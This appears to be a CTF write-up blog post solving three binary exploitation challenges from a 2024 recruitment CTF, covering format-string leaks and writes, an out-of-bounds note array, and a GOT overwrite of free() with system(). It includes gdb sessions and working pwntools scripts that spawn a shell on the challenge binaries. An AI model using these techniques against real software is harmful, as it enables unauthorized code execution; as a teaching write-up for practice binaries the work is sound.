BKISC Recruitment CTF 2024

pwn
1.1k words

My Secret

Challenge

  • mysecret.zip
  • Type: format string, read.
  • Difficulty: beginner.

Analysis

We can easily figure out this is a classic format string bug from these 2 lines:

1
2
3
fgets(answer, sizeof(answer), stdin);
[...]
printf(answer);

The flag is read from flag.txt into a buf in heap, and the address of this buf is stored in char* secret. So we need to search for the location of secret on stack, then by using %s format specifier, we can read a string at an address value and print it out to terminal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef➤  b *main+301
gef➤ r
Tell me your secret and I will tell you mine.
> %p %p %p %p %p %p %p %p %p
Interesting...
And my secret is: 0x7fffffffbb30 (nil) 0x7ffff7ea0887 0x12 (nil) (nil) 0x3200000000 0x5555555592a0 0x5555555592e0
gef➤ x/10xg $rsp
0x7fffffffdc50: 0x0000000000000000 0x0000003200000000
0x7fffffffdc60: 0x00005555555592a0 0x00005555555592e0
0x7fffffffdc70: 0x7025207025207025 0x2520702520702520
0x7fffffffdc80: 0x2070252070252070 0x00000000000a7025
0x7fffffffdc90: 0x0000000000000000 0x0000000000000000
gef➤ x/s 0x00005555555592a0
0x5555555592a0: "BKISC{fake_flag_but_my_cuteness_is_real}\r\n"

So secret is at the 8th parameter, and all we need to input is just %8$s.

Exploit

Do it yourself.

Check Sum

Challenge

  • checksum.zip
  • Type: format string, read + write.
  • Difficulty: easy.

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
long  long  *ptr  =  #
[...]
read(fd, &a, 2);
read(fd, &b, 2);
[...]
read(0, name, 30);
sprintf(greeting, "hi %s\n", name);
printf("now guess a number: ");
scanf("%lld", ptr);
printf(greeting);
[...]
if (a+b+3108 == num) {
puts("right, here you are.");
system("/bin/sh");
}
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

The program stores 2 random numbers on stack, read 30 bytes into name, then receives input as a long long decimal and stores in num, prints out greeting, which also includes the string the we inputted. Finally, it checks if a+b+3108 equals to num before giving the shell.

The main point of this challenge is how to read the number of a and b, but when we read them out, there is no way we can write it sum to the num, since the program reads input only once.

Let’s review the structure of a format string used in printf():
%[flags][width][.precision][length]specifier

According to this document, we can take advantage of the * of width parameter to set width for printing out an arbitary char a value of a and b, since they are both declared on main(). The strategy is we gonna print 2 char, with each char is set width of value that a and b store, then pads some more chars so that the total print out equals to a+b+3108. Noted that the string that is printed out by printf is not only contains our input but also has 'hi ', so there are 3 chars already there.

Exploit

1
2
3
4
5
6
from pwn import *
p = process('./checksum')
payload = b'%3105c%*8$c%*9$c%11$n'
p.sendafter(b'name: ', payload)
p.sendlineafter(b'fen: ', b'3108')
p.interactive()

This payload get the value at 8th para (value of a) and set it as a width for the next para to be printed out as a char, apply the same for 9th para (value of b) and %3105s so that the eventually string that is printed out will has the desired length. That’s how we can by pass the condition and get the shell.

Out Of Pwn 2

Challenge

  • outofpwn2.zip
  • Type: out of bound, go to right, asynchronous growth, overwrite the value of pointers that can be read-write.
  • Difficulty: medium.

Analysis

This challenge is 90% based on this CTF writeup, all I did is just rewrited the source code in C and patched the out of bound bug on the left side. Therefore, we cannot read, write, delete notes at negative index, uncreated notes or freed notes.

So what is the vulnerability? Let’s have a look at source code:

1
2
3
4
5
6
7
8
9
10
11
int  INDEX  =  0;
char* NOTES[8];
int SIZES[8];
[...]
*(NOTES + INDEX) = buf;
*(SIZES + INDEX) = len;
INDEX++;
[...]
char* buf = *(NOTES + idx);
int len = *(SIZES + idx);
read(0, buf, len-1);
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

And locations of NOTES and SIZES in the binary file:
View binary file in Binary Ninja

Each NOTES element is 8 bytes, whereas SIZES takes only 4 bytes. Everytime we create a note, INDEX increases one. However, the program doesn’t stop us from creating more than 8 notes, then until a specific number of notes is created, the value to be stored in SIZES[i] with overlapse on NOTES[j], since SIZES only increase 4 bytes each time.

Therefore, we can find out the note index i to create that when we input the length for it, this value will be stored in SIZES[i] and also overwrites NOTES[j]. And since PIE is disabled, we can overwrite by the value of a GOT address. Then, since we can read and edit on a created note, we can then read the libc address of that function, calculate system address and edit it to that note. If we choose to edit at the GOT address of free() and create a note with content "/bin/sh", when we call free on that note, we call system('/bin/sh') and finally get the shell we want.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import  *
libc = ELF("./libc.so.6")
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./outofpwn2')

def create(size, cont):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(size).encode())
p.sendafter(b'look:\n', cont)

def read(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', str(idx).encode())
return u64(p.recv(6).ljust(8, b'\x00'))

def update(idx, cont):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', str(idx).encode())
p.send(cont)

def delete(idx):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', str(idx).encode())
create(0x20, b'/bin/sh\x00')

for i in range(17):
create(0x20, b'hihi')
create(0x404018, b'nialliceh')
delete(1)
libase = read(17) - libc.sym['free']
slog('lib base', libase)
system = libase + libc.sym['system']
update(17, p64(system))
delete(0) # system("/bin/sh")
p.interactive()

We need to call delete(1) so that the libc address of the free() can be resolved and stored in GOT section.


That’s all, happy hacking! :P